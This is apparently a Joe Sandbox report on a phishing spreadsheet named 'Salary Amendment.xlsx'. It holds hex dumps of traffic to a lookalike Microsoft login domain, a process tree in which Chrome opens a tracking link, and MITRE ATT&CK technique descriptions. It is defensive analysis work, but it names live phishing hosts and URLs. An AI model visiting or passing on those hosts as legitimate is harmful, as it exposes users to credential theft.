qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=NoneX-Azure-Ref: 20241112T163005Z-15487999d87twfq2hC1WAWd6qc00000006g0000000002u9sX-Cache: TCP_HITX-Fd-Int-Roxy-Purgeid: 4554691X-Ms-Blob-
2024-11-12 16:30:05 UTC	2033	IN	Data Raw: 31 34 31 33 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 56 00 00 00 48 08 06 00 00 00 ad 04 dd dc 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 25 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 38 20 37 39 2e 31 36 34 30 33 36 2c 20 32 30 31 39 2f 30 38 2f 31 33 2d 30 31 3a 30 Data Ascii: 1413PNGIHDRVHtEXtSoftwareAdobe ImageReadyqe<%iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:0
2024-11-12 16:30:05 UTC	559	IN	Data Raw: 49 5c fb 7b f1 ac 5d 5e b5 89 69 20 0b f0 da b5 6b af 5d be dc be 8c 98 e2 8b 09 3e 77 c2 ff 8f 17 da 39 ec 7c b4 e5 e6 ce f9 87 9f 0a 03 05 dd 3e a7 80 dc f4 fc 85 f3 95 94 7b 56 3c b5 e2 97 76 48 f4 c1 f1 d7 68 68 f1 1f f7 51 bc 55 cb b2 26 fb a5 21 50 f0 9a 92 9d b5 bd b2 b2 84 38 db 7a 79 f4 ae d4 6f 0b a2 eb 16 13 4c b6 8e 67 e9 04 a1 4d 3c 3f de 78 63 59 d9 3e 4c bc 26 52 7b f1 cd 78 7d ea 45 8a db e7 ca f8 50 a9 8d 82 90 e8 48 a7 e6 41 8c 15 65 e1 a8 de aa 9f 66 98 e5 cb 97 1f a6 5c df dd dd bd 83 17 2c 0c 1b 38 85 02 93 33 8a f7 98 aa 97 60 9f 7a 21 3c bc 5e b7 4f bd 08 ba 7d 3a c3 22 c7 8e 1d fd 1b 85 54 21 fd 1c bd 52 7c 40 ac 28 7a 42 9a 9d 72 a2 6f f8 a9 41 72 a2 d1 2a ca f5 28 89 c7 74 c2 c0 87 84 d3 27 50 6a d2 ad 3a c3 20 36 fc 9e 1b d9 80 Data Ascii: I\{]^i k]>w9\|>{V<vHhhQU&!P8zyoLgM<?xcY>L&R{x}EPHAef\,83`z!<^O}:"T!R\|@(zBroAr*(t'Pj: 6
2024-11-12 16:30:05 UTC	2560	IN	Data Raw: 9b 79 87 9d d0 70 38 fc 9d cc b5 99 99 59 4d 7e b1 1f cb 52 95 4d 1c 48 d9 16 3e b9 70 0f b2 0c c5 f2 da f6 c4 e2 7a 3f 97 2e fd f7 77 c8 f0 a3 92 10 62 92 a8 65 e1 c4 71 09 ba 7d 5e 8f 07 c8 aa 64 e4 64 43 c4 da 77 ef 9e b4 30 1c 22 f4 33 3e 26 8e 61 7d ed a4 09 8c 44 83 3b a1 c7 30 1c 6b 97 52 57 a4 a2 20 1c 71 34 f1 51 90 8e fb 81 f7 16 8b ad fc 03 6c 95 71 28 86 27 f7 fd 20 90 33 67 ce a0 2e 71 2e e5 f7 5a 5b 5b 6b 26 28 16 65 0f ba 7d ba 81 cd aa c6 c6 23 a4 4d fb b1 12 70 6c 0c c5 58 29 01 ee c9 93 27 f5 f8 f9 e3 c9 9e 3e fd b6 ec b5 54 89 19 23 b5 43 00 d4 38 1a bc 72 ec fa aa 4c 20 f0 ca 50 ec 3d d9 0a 21 1e 10 8f 54 d1 80 06 dd 3e 13 93 2c 65 b3 0a 13 d0 8a a7 56 fc 48 f6 fa 34 fe e4 18 e3 01 a8 83 41 15 7d a3 34 a5 53 59 21 56 08 54 f2 39 7d e6 Data Ascii: yp8YM~RMH>pz?.wbeq}^ddCw0"3>&a}D;0kRW q4Qlq(' 3g.q.Z[[k&(e}#MplX)'>T#C8rL P=!T>,eVH4A}4SY!VT9}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.22	49257	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:30:08 UTC	505	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_4285088f1dbaf52a876d.js HTTP/1.1 Host: tvrcedjrhte.cpchenm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
2024-11-12 16:30:08 UTC	1105	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: https://tvrcedjrhte.cpchenm.com Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: application/x-javascript Cross-Origin-Resource-Policy: cross-origin Date: Tue, 12 Nov 2024 16:30:08 GMT Etag: 0x8DCBD5317AEB807 Last-Modified: Thu, 15 Aug 2024 17:52:55 GMT
2024-11-12 16:30:08 UTC	431	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 71 71 68 6f 73 74 3d 76 69 77 37 4d 31 79 64 72 44 76 69 53 42 58 6c 6a 6b 58 69 68 67 39 6e 6d 6c 64 51 67 55 49 6c 55 6d 6e 6e 43 69 6a 63 4c 58 4d 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 63 70 63 68 65 6e 6d 2e 63 6f 6d 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 58 2d 41 7a 75 72 65 2d 52 65 66 3a 20 32 30 32 34 31 31 31 32 54 31 36 33 30 30 38 5a 2d 31 35 34 38 37 39 39 39 64 38 37 74 77 66 71 32 68 43 31 57 41 57 64 36 71 63 30 30 30 30 30 30 30 36 67 30 30 30 30 30 30 30 30 30 32 75 72 61 0d 0a 58 2d 43 61 63 68 65 3a 20 54 43 50 5f 48 49 54 0d 0a 58 2d 46 64 2d 49 6e 74 2d 52 6f 78 79 2d 50 75 72 67 65 69 64 3a 20 34 35 35 34 36 39 31 0d 0a 58 2d 4d 73 2d 42 6c 6f 62 2d Data Ascii: Set-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=NoneX-Azure-Ref: 20241112T163008Z-15487999d87twfq2hC1WAWd6qc00000006g0000000002uraX-Cache: TCP_HITX-Fd-Int-Roxy-Purgeid: 4554691X-Ms-Blob-
2024-11-12 16:30:08 UTC	2001	IN	Data Raw: 31 62 63 36 39 0d 0a 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e Data Ascii: 1bc69/! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright n
2024-11-12 16:30:08 UTC	559	IN	Data Raw: 6d 61 6c 69 7a 65 4c 69 6e 6b 54 65 78 74 3d 6b 2c 74 68 69 73 2e 75 74 69 6c 73 3d 6e 2c 74 68 69 73 2e 68 65 6c 70 65 72 73 3d 6e 2e 61 73 73 69 67 6e 28 7b 7d 2c 73 29 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 3d 7b 7d 2c 74 68 69 73 2e 63 6f 6e 66 69 67 75 72 65 28 65 29 2c 74 26 26 74 68 69 73 2e 73 65 74 28 74 29 7d 62 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 2e 61 73 73 69 67 6e 28 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2c 65 29 2c 74 68 69 73 7d 2c 62 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6f 6e 66 69 67 75 72 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 2c 72 3d 74 68 69 73 3b 69 66 28 6e 2e 69 73 53 74 72 69 6e 67 28 65 29 26 26 21 28 65 3d 68 5b 74 3d 65 5d 29 29 74 68 72 6f 77 Data Ascii: malizeLinkText=k,this.utils=n,this.helpers=n.assign({},s),this.options={},this.configure(e),t&&this.set(t)}b.prototype.set=function(e){return n.assign(this.options,e),this},b.prototype.configure=function(e){var t,r=this;if(n.isString(e)&&!(e=h[t=e]))throw
2024-11-12 16:30:08 UTC	4716	IN	Data Raw: 73 5b 74 5d 2e 72 75 6c 65 73 32 26 26 72 5b 74 5d 2e 72 75 6c 65 72 32 2e 65 6e 61 62 6c 65 4f 6e 6c 79 28 65 2e 63 6f 6d 70 6f 6e 65 6e 74 73 5b 74 5d 2e 72 75 6c 65 73 32 29 7d 29 29 2c 74 68 69 73 7d 2c 62 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 61 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 72 3d 5b 5d 3b 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 7c 7c 28 65 3d 5b 65 5d 29 2c 5b 22 63 6f 72 65 22 2c 22 62 6c 6f 63 6b 22 2c 22 69 6e 6c 69 6e 65 22 5d 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 3d 72 2e 63 6f 6e 63 61 74 28 74 68 69 73 5b 74 5d 2e 72 75 6c 65 72 2e 65 6e 61 62 6c 65 28 65 2c 21 30 29 29 7d 29 2c 74 68 69 73 29 2c 72 3d 72 2e 63 6f 6e 63 61 74 28 74 68 69 73 2e 69 6e 6c 69 6e 65 2e 72 Data Ascii: s[t].rules2&&r[t].ruler2.enableOnly(e.components[t].rules2)})),this},b.prototype.enable=function(e,t){var r=[];Array.isArray(e)\|\|(e=[e]),["core","block","inline"].forEach((function(t){r=r.concat(this[t].ruler.enable(e,!0))}),this),r=r.concat(this.inline.r
2024-11-12 16:30:08 UTC	5895	IN	Data Raw: 4c 22 3a 22 5c 75 32 35 36 31 22 2c 22 62 6f 78 56 6c 22 3a 22 5c 75 32 35 36 32 22 2c 22 62 6f 78 56 4c 22 3a 22 5c 75 32 35 36 33 22 2c 22 62 6f 78 76 72 22 3a 22 5c 75 32 35 31 63 22 2c 22 62 6f 78 76 52 22 3a 22 5c 75 32 35 35 65 22 2c 22 62 6f 78 56 72 22 3a 22 5c 75 32 35 35 66 22 2c 22 62 6f 78 56 52 22 3a 22 5c 75 32 35 36 30 22 2c 22 62 70 72 69 6d 65 22 3a 22 5c 75 32 30 33 35 22 2c 22 62 72 65 76 65 22 3a 22 5c 75 30 32 64 38 22 2c 22 42 72 65 76 65 22 3a 22 5c 75 30 32 64 38 22 2c 22 62 72 76 62 61 72 22 3a 22 5c 78 61 36 22 2c 22 62 73 63 72 22 3a 22 5c 75 64 38 33 35 5c 75 64 63 62 37 22 2c 22 42 73 63 72 22 3a 22 5c 75 32 31 32 63 22 2c 22 62 73 65 6d 69 22 3a 22 5c 75 32 30 34 66 22 2c 22 62 73 69 6d 22 3a 22 5c 75 32 32 33 64 22 2c 22 62 Data Ascii: L":"\u2561","boxVl":"\u2562","boxVL":"\u2563","boxvr":"\u251c","boxvR":"\u255e","boxVr":"\u255f","boxVR":"\u2560","bprime":"\u2035","breve":"\u02d8","Breve":"\u02d8","brvbar":"\xa6","bscr":"\ud835\udcb7","Bscr":"\u212c","bsemi":"\u204f","bsim":"\u223d","b
2024-11-12 16:30:08 UTC	7074	IN	Data Raw: 75 61 72 65 22 3a 22 5c 75 32 35 66 62 22 2c 22 65 6d 70 74 79 76 22 3a 22 5c 75 32 32 30 35 22 2c 22 45 6d 70 74 79 56 65 72 79 53 6d 61 6c 6c 53 71 75 61 72 65 22 3a 22 5c 75 32 35 61 62 22 2c 22 65 6d 73 70 31 33 22 3a 22 5c 75 32 30 30 34 22 2c 22 65 6d 73 70 31 34 22 3a 22 5c 75 32 30 30 35 22 2c 22 65 6d 73 70 22 3a 22 5c 75 32 30 30 33 22 2c 22 45 4e 47 22 3a 22 5c 75 30 31 34 61 22 2c 22 65 6e 67 22 3a 22 5c 75 30 31 34 62 22 2c 22 65 6e 73 70 22 3a 22 5c 75 32 30 30 32 22 2c 22 45 6f 67 6f 6e 22 3a 22 5c 75 30 31 31 38 22 2c 22 65 6f 67 6f 6e 22 3a 22 5c 75 30 31 31 39 22 2c 22 45 6f 70 66 22 3a 22 5c 75 64 38 33 35 5c 75 64 64 33 63 22 2c 22 65 6f 70 66 22 3a 22 5c 75 64 38 33 35 5c 75 64 64 35 36 22 2c 22 65 70 61 72 22 3a 22 5c 75 32 32 64 35 Data Ascii: uare":"\u25fb","emptyv":"\u2205","EmptyVerySmallSquare":"\u25ab","emsp13":"\u2004","emsp14":"\u2005","emsp":"\u2003","ENG":"\u014a","eng":"\u014b","ensp":"\u2002","Eogon":"\u0118","eogon":"\u0119","Eopf":"\ud835\udd3c","eopf":"\ud835\udd56","epar":"\u22d5
2024-11-12 16:30:08 UTC	8253	IN	Data Raw: 72 22 3a 22 5c 75 32 31 63 33 22 2c 22 4c 65 66 74 46 6c 6f 6f 72 22 3a 22 5c 75 32 33 30 61 22 2c 22 6c 65 66 74 68 61 72 70 6f 6f 6e 64 6f 77 6e 22 3a 22 5c 75 32 31 62 64 22 2c 22 6c 65 66 74 68 61 72 70 6f 6f 6e 75 70 22 3a 22 5c 75 32 31 62 63 22 2c 22 6c 65 66 74 6c 65 66 74 61 72 72 6f 77 73 22 3a 22 5c 75 32 31 63 37 22 2c 22 6c 65 66 74 72 69 67 68 74 61 72 72 6f 77 22 3a 22 5c 75 32 31 39 34 22 2c 22 4c 65 66 74 52 69 67 68 74 41 72 72 6f 77 22 3a 22 5c 75 32 31 39 34 22 2c 22 4c 65 66 74 72 69 67 68 74 61 72 72 6f 77 22 3a 22 5c 75 32 31 64 34 22 2c 22 6c 65 66 74 72 69 67 68 74 61 72 72 6f 77 73 22 3a 22 5c 75 32 31 63 36 22 2c 22 6c 65 66 74 72 69 67 68 74 68 61 72 70 6f 6f 6e 73 22 3a 22 5c 75 32 31 63 62 22 2c 22 6c 65 66 74 72 69 67 68 74 Data Ascii: r":"\u21c3","LeftFloor":"\u230a","leftharpoondown":"\u21bd","leftharpoonup":"\u21bc","leftleftarrows":"\u21c7","leftrightarrow":"\u2194","LeftRightArrow":"\u2194","Leftrightarrow":"\u21d4","leftrightarrows":"\u21c6","leftrightharpoons":"\u21cb","leftright
2024-11-12 16:30:09 UTC	9432	IN	Data Raw: 22 2c 22 6e 74 72 69 61 6e 67 6c 65 6c 65 66 74 22 3a 22 5c 75 32 32 65 61 22 2c 22 6e 74 72 69 61 6e 67 6c 65 6c 65 66 74 65 71 22 3a 22 5c 75 32 32 65 63 22 2c 22 6e 74 72 69 61 6e 67 6c 65 72 69 67 68 74 22 3a 22 5c 75 32 32 65 62 22 2c 22 6e 74 72 69 61 6e 67 6c 65 72 69 67 68 74 65 71 22 3a 22 5c 75 32 32 65 64 22 2c 22 4e 75 22 3a 22 5c 75 30 33 39 64 22 2c 22 6e 75 22 3a 22 5c 75 30 33 62 64 22 2c 22 6e 75 6d 22 3a 22 23 22 2c 22 6e 75 6d 65 72 6f 22 3a 22 5c 75 32 31 31 36 22 2c 22 6e 75 6d 73 70 22 3a 22 5c 75 32 30 30 37 22 2c 22 6e 76 61 70 22 3a 22 5c 75 32 32 34 64 5c 75 32 30 64 32 22 2c 22 6e 76 64 61 73 68 22 3a 22 5c 75 32 32 61 63 22 2c 22 6e 76 44 61 73 68 22 3a 22 5c 75 32 32 61 64 22 2c 22 6e 56 64 61 73 68 22 3a 22 5c 75 32 32 61 65 Data Ascii: ","ntriangleleft":"\u22ea","ntrianglelefteq":"\u22ec","ntriangleright":"\u22eb","ntrianglerighteq":"\u22ed","Nu":"\u039d","nu":"\u03bd","num":"#","numero":"\u2116","numsp":"\u2007","nvap":"\u224d\u20d2","nvdash":"\u22ac","nvDash":"\u22ad","nVdash":"\u22ae
2024-11-12 16:30:09 UTC	10611	IN	Data Raw: 75 63 63 73 69 6d 22 3a 22 5c 75 32 32 37 66 22 2c 22 53 75 63 68 54 68 61 74 22 3a 22 5c 75 32 32 30 62 22 2c 22 73 75 6d 22 3a 22 5c 75 32 32 31 31 22 2c 22 53 75 6d 22 3a 22 5c 75 32 32 31 31 22 2c 22 73 75 6e 67 22 3a 22 5c 75 32 36 36 61 22 2c 22 73 75 70 31 22 3a 22 5c 78 62 39 22 2c 22 73 75 70 32 22 3a 22 5c 78 62 32 22 2c 22 73 75 70 33 22 3a 22 5c 78 62 33 22 2c 22 73 75 70 22 3a 22 5c 75 32 32 38 33 22 2c 22 53 75 70 22 3a 22 5c 75 32 32 64 31 22 2c 22 73 75 70 64 6f 74 22 3a 22 5c 75 32 61 62 65 22 2c 22 73 75 70 64 73 75 62 22 3a 22 5c 75 32 61 64 38 22 2c 22 73 75 70 45 22 3a 22 5c 75 32 61 63 36 22 2c 22 73 75 70 65 22 3a 22 5c 75 32 32 38 37 22 2c 22 73 75 70 65 64 6f 74 22 3a 22 5c 75 32 61 63 34 22 2c 22 53 75 70 65 72 73 65 74 22 3a 22 Data Ascii: uccsim":"\u227f","SuchThat":"\u220b","sum":"\u2211","Sum":"\u2211","sung":"\u266a","sup1":"\xb9","sup2":"\xb2","sup3":"\xb3","sup":"\u2283","Sup":"\u22d1","supdot":"\u2abe","supdsub":"\u2ad8","supE":"\u2ac6","supe":"\u2287","supedot":"\u2ac4","Superset":"
2024-11-12 16:30:09 UTC	11790	IN	Data Raw: 22 29 3b 62 72 65 61 6b 7d 7d 7d 7d 74 68 69 73 2e 68 6f 73 74 6e 61 6d 65 2e 6c 65 6e 67 74 68 3e 32 35 35 26 26 28 74 68 69 73 2e 68 6f 73 74 6e 61 6d 65 3d 22 22 29 2c 79 26 26 28 74 68 69 73 2e 68 6f 73 74 6e 61 6d 65 3d 74 68 69 73 2e 68 6f 73 74 6e 61 6d 65 2e 73 75 62 73 74 72 28 31 2c 74 68 69 73 2e 68 6f 73 74 6e 61 6d 65 2e 6c 65 6e 67 74 68 2d 32 29 29 7d 76 61 72 20 4c 3d 6d 2e 69 6e 64 65 78 4f 66 28 22 23 22 29 3b 2d 31 21 3d 3d 4c 26 26 28 74 68 69 73 2e 68 61 73 68 3d 6d 2e 73 75 62 73 74 72 28 4c 29 2c 6d 3d 6d 2e 73 6c 69 63 65 28 30 2c 4c 29 29 3b 76 61 72 20 7a 3d 6d 2e 69 6e 64 65 78 4f 66 28 22 3f 22 29 3b 72 65 74 75 72 6e 2d 31 21 3d 3d 7a 26 26 28 74 68 69 73 2e 73 65 61 72 63 68 3d 6d 2e 73 75 62 73 74 72 28 7a 29 2c 6d 3d 6d 2e Data Ascii: ");break}}}}this.hostname.length>255&&(this.hostname=""),y&&(this.hostname=this.hostname.substr(1,this.hostname.length-2))}var L=m.indexOf("#");-1!==L&&(this.hash=m.substr(L),m=m.slice(0,L));var z=m.indexOf("?");return-1!==z&&(this.search=m.substr(z),m=m.

Target ID:	0
Start time:	11:28:40
Start date:	12/11/2024
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13fda0000
File size:	28'253'536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	11:29:04
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x13f6d0000
File size:	3'151'128 bytes
MD5 hash:	FFA2B8E17F645BCC20F0E0201FEF83ED
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	11:29:05
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1460 --field-trial-handle=1256,i,4668756593095259498,3405169372683780548,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x13f6d0000
File size:	3'151'128 bytes
MD5 hash:	FFA2B8E17F645BCC20F0E0201FEF83ED
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	11:29:09
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" "https://ctrk.klclick3.com/l/01JCCYDGBH0W36M8EY4KEBXJ1V_0"
Imagebase:	0x13f6d0000
File size:	3'151'128 bytes
MD5 hash:	FFA2B8E17F645BCC20F0E0201FEF83ED
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Salary Amendment.xlsx

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

